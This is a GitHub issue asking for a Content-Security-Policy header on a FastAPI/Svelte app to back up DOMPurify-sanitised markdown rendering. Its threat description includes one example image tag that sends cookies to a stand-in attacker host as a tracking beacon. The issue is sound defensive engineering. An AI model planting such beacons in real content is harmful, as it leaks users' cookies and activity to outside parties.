Skip to content

feat(#369): add Content-Security-Policy header to LAMB backend #369

@NoveliaYuki

Description

@NoveliaYuki

Purpose

The LAMB frontend renders user/CMS-controlled markdown via renderMarkdownSafe() (marked → DOMPurify) in several places: the landing page news feed, the upcoming library item content viewer (PR pending), and likely other places as the feature grows.

DOMPurify strips active script vectors (<script>, onerror=, javascript: URIs, <iframe> and friends), but it does NOT block passive external references like <img src=http://attacker.example/track?cookie=...> or <a href=http://...>. A malicious creator could embed tracking pixels or beacons into a markdown document, and other users in the same org would silently emit requests when viewing it.

A Content-Security-Policy (CSP) response header is the right global mitigation: it complements per-render DOMPurify rather than replacing it, and is the standard defense-in-depth control. This is not specific to any one renderer — it covers every current and future place that emits HTML.

Acceptance criteria

  • Backend serves a Content-Security-Policy header on the SPA index and any HTML response from FastAPI.
  • Header at minimum sets: default-src 'self', img-src 'self' data:, script-src 'self', style-src 'self' 'unsafe-inline' (Tailwind requires inline styles — narrow if possible), connect-src 'self', frame-ancestors 'none', base-uri 'self', form-action 'self'.
  • Header is configurable via env var so non-default deployments (e.g. embedded Moodle LTI iframes) can tune frame-ancestors.
  • Existing renders that depend on external resources are surveyed and either inlined, proxied, or whitelisted with documented rationale.
  • A report-only mode is shipped first (Content-Security-Policy-Report-Only) to surface violations in production logs before enforcement is enabled.
  • Tested in dev: every existing route loads with no console CSP violations under enforcement mode.
  • Documented in backend/README.md and CLAUDE.md (key configuration section).

Context

Surfaced during the security review of the "View Library Item Content" feature (separate PR). DOMPurify call sites are documented in frontend/svelte-app/src/lib/utils/sanitize.js.

Author: @NoveliaYuki

Metadata

Metadata

Assignees

Labels

enhancementNew feature or requesttechnical-debtCode or process improvements needed to reduce long-term maintenance burden

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions